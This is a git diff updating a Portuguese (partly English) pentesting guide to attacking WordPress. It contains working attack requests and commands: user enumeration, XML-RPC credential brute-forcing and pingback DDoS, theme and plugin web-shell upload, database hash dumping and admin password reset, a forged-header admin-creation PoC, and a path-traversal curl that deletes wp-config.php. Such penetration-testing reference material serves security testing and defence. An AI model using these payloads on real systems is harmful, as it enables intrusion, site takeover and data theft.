diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index a50700e73..fbc587f2a 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -5,46 +5,46 @@
## Informações Básicas
- **Arquivos enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Os arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando **o tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-- No **wp-config.php** você pode encontrar a senha root do banco de dados.
+- Em **wp-config.php** você pode encontrar a senha root do banco de dados.
- Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
-### **Arquivos Principais do WordPress**
+### **Principais arquivos do WordPress**
- `index.php`
-- `license.txt` contém informações úteis, como a versão do WordPress instalada.
-- `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
+- `license.txt` contém informações úteis como a versão do WordPress instalada.
+- `wp-activate.php` é usado no processo de ativação por e-mail ao configurar um novo site WordPress.
- Pastas de login (podem ser renomeadas para ocultá-las):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
-- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
+- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
-- `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
-- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias consultáveis publicamente.
+- `wp-includes/` é o diretório onde arquivos do núcleo são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
+- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as publicações públicas e tipos de post e taxonomias consultáveis publicamente.
**Pós-exploração**
-- O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
+- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco, host do banco, usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil para resolver problemas.
### Permissões de Usuários
- **Administrador**
-- **Editor**: Publica e gerencia suas postagens e as de outros
-- **Autor**: Publica e gerencia suas próprias postagens
-- **Colaborador**: Escreve e gerencia suas postagens, mas não pode publicá-las
-- **Assinante**: Navega pelas postagens e edita seu perfil
+- **Editor**: Publica e gerencia seus próprios posts e os de outros
+- **Autor**: Publica e gerencia seus próprios posts
+- **Colaborador**: Escreve e gerencia seus posts, mas não pode publicá-los
+- **Assinante**: Visualiza posts e edita seu perfil
## **Enumeração Passiva**
### **Obter versão do WordPress**
-Verifique se você pode encontrar os arquivos `/license.txt` ou `/readme.html`
+Verifique se consegue encontrar os arquivos `/license.txt` ou `/readme.html`
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumeração ativa
-### Plugins e Temas
+### Plugins and Themes
-Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente uma lista de Plugins e Temas** (esperançosamente para nós, existem ferramentas automatizadas que contêm essas listas).
+Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **realizar ativamente um Brute Force em uma lista de Plugins and Themes** (esperançosamente existem ferramentas automatizadas que contenham essas listas).
### Usuários
-- **ID Brute:** Você obtém usuários válidos de um site WordPress forçando os IDs dos usuários:
+- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@@ -95,21 +95,21 @@ Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
-Outro endpoint `/wp-json/` que pode revelar algumas informações sobre os usuários é:
+Outro `/wp-json/` endpoint que pode revelar algumas informações sobre usuários é:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
-Note que este endpoint expõe apenas usuários que fizeram uma postagem. **Somente informações sobre os usuários que têm esse recurso ativado serão fornecidas**.
+Note that this endpoint only exposes users that have made a post. **Somente informações sobre os usuários que têm esse recurso habilitado serão fornecidas**.
-Também note que **/wp-json/wp/v2/pages** pode vazar endereços IP.
+Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
-- **Enumeração de nomes de usuário de login**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário existe ou não**.
+- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente**, indicando se o **username** existe ou não.
### XML-RPC
-Se `xml-rpc.php` estiver ativo, você pode realizar um ataque de força bruta de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo[ usando isso](https://github.com/relarizky/wpxploit) por exemplo).
+If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Você pode automatizar esse processo [using this](https://github.com/relarizky/wpxploit), por exemplo).
-Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
+To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Verificar**
```html
@@ -120,9 +120,9 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
```

-**Força Bruta de Credenciais**
+**Credentials Bruteforce**
-**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para forçar credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
+**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:
```html
wp.getUsersBlogs
@@ -132,13 +132,13 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
```
-A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
+A mensagem _"Incorrect username or password"_ em uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
- (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
+ (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
-Usando as credenciais corretas, você pode fazer o upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
@@ -168,18 +168,18 @@ Usando as credenciais corretas, você pode fazer o upload de um arquivo. Na resp
```
-Também há uma **maneira mais rápida** de forçar credenciais usando **`system.multicall`**, pois você pode tentar várias credenciais na mesma solicitação:
+Also there is a **faster way** to brute-force creds using **`system.multicall`** as you can try several credentials on the same request:
**Bypass 2FA**
-Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Este método é destinado a programas e não a humanos, e é antigo; portanto não suporta 2FA. Assim, se você tem creds válidas mas a entrada principal está protegida por 2FA, **você pode conseguir abusar de xmlrpc.php para fazer login com essas creds contornando o 2FA**. Note que você não conseguirá realizar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
-**DDoS ou varredura de portas**
+**DDoS or port scanning**
-Se você conseguir encontrar o método _**pingback.ping**_ na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
-Isso pode ser usado para pedir **milhares** de **sites** Wordpress para **acessar** uma **localização** (causando assim um **DDoS** nessa localização) ou você pode usá-lo para fazer o **Wordpress** **escanear** alguma **rede** interna (você pode indicar qualquer porta).
+If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
+This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
```html
pingback.ping
@@ -191,9 +191,9 @@ Isso pode ser usado para pedir **milhares** de **sites** Wordpress para **acessa
```

-Se você receber **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
+Se você obtiver **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
-Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
+Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
**DDoS**
```html
@@ -210,16 +210,16 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
-Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
-Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
+Quando esse arquivo é **accessed**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **cause** um **DoS**.\
+Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
-É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
+Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
-Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você.
+Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o Worpress site pode fazer uma requisição para você.
-Esta é a resposta quando não funciona:
+This is the response when it doesn't work:
.png>)
@@ -230,9 +230,9 @@ Esta é a resposta quando não funciona:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
-Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
+Esta ferramenta verifica se o **methodName: pingback.ping** e o path **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
-## Automatic Tools
+## Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obter acesso sobrescrevendo um bit
-Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
+Mais uma curiosidade do que um ataque real. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit em qualquer arquivo wordpress. Então você podia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para transformar a operação NOT (`!`) em NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Painel RCE**
-**Modificando um php do tema usado (credenciais de administrador necessárias)**
+**Modificando um php do tema usado (são necessárias credenciais de admin)**
-Aparência → Editor de Tema → Modelo 404 (à direita)
+Aparência → Editor de Tema → Template 404 (à direita)
-Altere o conteúdo para um shell php:
+Altere o conteúdo para um php shell:
.png>)
-Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Pesquise na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@@ -265,20 +265,20 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
para obter uma sessão.
-## Plugin RCE
+## RCE em plugin
### Plugin PHP
-Pode ser possível fazer upload de arquivos .php como um plugin.\
+Pode ser possível enviar arquivos .php como um plugin.\
Crie seu backdoor em php usando, por exemplo:
.png>)
-Em seguida, adicione um novo plugin:
+Depois adicione um novo plugin:
.png>)
-Faça o upload do plugin e pressione Instalar Agora:
+Faça upload do plugin e pressione Install Now:
.png>)
@@ -286,74 +286,74 @@ Clique em Procced:
.png>)
-Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, verá seu shell carregado:
+Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell carregado:
.png>)
-Acesse-o e você verá a URL para executar o shell reverso:
+Acesse-o e você verá a URL para executar o reverse shell:
.png>)
-### Carregando e ativando plugin malicioso
+### Enviar e ativar plugin malicioso
-Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma:
+Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma:
-1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do Plugin**:
-- Navegue até o painel do WordPress, em seguida, vá para `Dashboard > Plugins > Upload Plugin`.
-- Faça o upload do arquivo zip do plugin baixado.
-3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
+- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`.
+- Faça upload do arquivo zip do plugin baixado.
+3. **Ativação do Plugin**: Uma vez que o plugin seja instalado com sucesso, ele deve ser ativado através do dashboard.
4. **Exploração**:
-- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
-- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
-- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
+- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado por ser conhecido como vulnerável.
+- O Metasploit framework fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
+- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
-O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
+O conteúdo inclui auxílios visuais que mostram os passos no WordPress dashboard para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.
-**Para passos mais detalhados, confira:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
+**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
-## De XSS a RCE
+## De XSS para RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma **vulnerabilidade de Cross-Site Scripting (XSS)** para **Execução Remota de Código (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:**
-- _**Escalação de Privilégios:**_ Cria um usuário no WordPress.
-- _**(RCE) Upload de Plugin Personalizado (backdoor):**_ Faça o upload do seu plugin personalizado (backdoor) para o WordPress.
-- _**(RCE) Edição de Plugin Integrado:**_ Edite Plugins Integrados no WordPress.
-- _**(RCE) Edição de Tema Integrado:**_ Edite Temas Integrados no WordPress.
-- _**(Personalizado) Exploits Personalizados:**_ Exploits Personalizados para Plugins/Temas de Terceiros do WordPress.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X and 4.X.X. e permite:**
+- _**Privilege Escalation:**_ Cria um usuário no WordPress.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress.
+- _**(Custom) Custom Exploits:**_ Exploits customizados para Third-Party WordPress Plugins/Themes.
-## Pós Exploração
+## Pós-Exploração
-Extraia nomes de usuários e senhas:
+Extrair nomes de usuário e senhas:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
-Alterar a senha do administrador:
+Alterar a senha do admin:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
-## Pentest de Plugins do Wordpress
+## Wordpress Plugins Pentest
### Superfície de Ataque
-Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
+Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos pontos a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
-Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
+Uma das formas de um plugin expor funções para usuários é via AJAX handlers. Eles podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um Wordpress nonce que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente do seu papel).
Estas são as funções que podem ser usadas para expor uma função em um plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
-**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).**
+**O uso de `nopriv` torna o endpoint acessível a quaisquer usuários (até mesmo não autenticados).**
> [!CAUTION]
-> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
+> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função só verifica se o usuário está logado; normalmente não verifica o papel do usuário. Portanto, usuários com privilégios baixos podem ter acesso a ações de alto privilégio.
- **REST API**
-Também é possível expor funções do WordPress registrando uma API REST usando a função `register_rest_route`:
+Também é possível expor funções do WordPress registrando uma REST API usando a função `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
-O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
+O `permission_callback` é uma função de callback que verifica se um dado usuário está autorizado a chamar o método da API.
-**Se a função embutida `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.**
+**Se a função integrada `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.**
- **Acesso direto ao arquivo php**
-Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Assim, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
+Claro, Wordpress usa PHP e os arquivos dentro dos plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha alguma funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
-### Exclusão Arbitrária de Arquivos Não Autenticada via wp_ajax_nopriv (Tema Litho <= 3.0)
+### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
-Os temas e plugins do WordPress frequentemente expõem manipuladores AJAX através dos hooks `wp_ajax_` e `wp_ajax_nopriv_`. Quando a variante **_nopriv_** é usada **o callback se torna acessível por visitantes não autenticados**, então qualquer ação sensível deve implementar adicionalmente:
+Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode forjar ele e atingir rotas REST privilegiadas como administrador.
-1. Uma **verificação de capacidade** (por exemplo, `current_user_can()` ou pelo menos `is_user_logged_in()`), e
-2. Um **nonce CSRF** validado com `check_ajax_referer()` / `wp_verify_nonce()`, e
-3. **Sanitização / validação rigorosa de entrada**.
+- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a rota REST core users.
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o user ID 1, tipicamente a primeira conta de administrador).
+- Rota explorada: `POST /wp-json/wp/v2/users` com um array de role elevado.
-O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fonte* e acabou enviando o seguinte código (simplificado):
+PoC
+```http
+POST /wp-json/wp/v2/users HTTP/1.1
+Host:
+User-Agent: Mozilla/5.0
+Accept: application/json
+Content-Type: application/json
+X-Wcpay-Platform-Checkout-User: 1
+Content-Length: 114
+
+{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
+```
+Por que funciona
+
+- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e ignora verificações de capability.
+- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin contorna isso definindo diretamente o contexto do usuário atual a partir do cabeçalho.
+
+Indicadores de sucesso esperados
+
+- HTTP 201 com um corpo JSON descrevendo o usuário criado.
+- Um novo usuário administrador visível em `wp-admin/users.php`.
+
+Lista de verificação para detecção
+
+- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leem cabeçalhos customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Revise os registros REST em busca de callbacks privilegiados que não possuem verificações robustas de `permission_callback` e que em vez disso dependem de cabeçalhos da requisição.
+- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de cabeçalho.
+
+Endurecimento
+
+- Nunca derive autenticação ou autorização a partir de cabeçalhos controlados pelo cliente.
+- Se um reverse proxy precisar injetar identidade, termine a confiança no proxy e remova cópias recebidas (e.g., `unset X-Wcpay-Platform-Checkout-User` na borda), depois passe um token assinado e verifique-o no servidor.
+- Para rotas REST que realizam ações privilegiadas, exija verificações `current_user_can()` e um `permission_callback` estrito (NÃO use `__return_true`).
+- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” via cabeçalho.
+
+Referências: veja os links no final desta página para um caso público e uma análise mais ampla.
+
+### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
+
+WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
+
+1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
+2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
+3. **Strict input sanitisation / validation**.
+
+The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@@ -400,29 +445,29 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemas introduzidos por este trecho:
-* **Acesso não autenticado** – o gancho `wp_ajax_nopriv_` está registrado.
-* **Sem verificação de nonce / capacidade** – qualquer visitante pode acessar o endpoint.
-* **Sem sanitização de caminho** – a string `fontfamily` controlada pelo usuário é concatenada a um caminho de sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`.
+* **Acesso não autenticado** – o `wp_ajax_nopriv_` hook está registrado.
+* **Sem verificação de nonce / capability** – qualquer visitante pode acessar o endpoint.
+* **Sem sanitização do caminho** – a string `fontfamily` controlada pelo usuário é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico `../../` traversal.
#### Exploração
-Um atacante pode deletar qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `/wp-content/uploads/`) enviando uma única solicitação HTTP POST:
+Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `/wp-content/uploads/`) enviando uma única requisição HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
-Porque `wp-config.php` está fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo uma tomada total do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
+Porque `wp-config.php` fica fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *installation wizard* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
-Outros alvos impactantes incluem arquivos `.php` de plugins/temas (para quebrar plugins de segurança) ou regras de `.htaccess`.
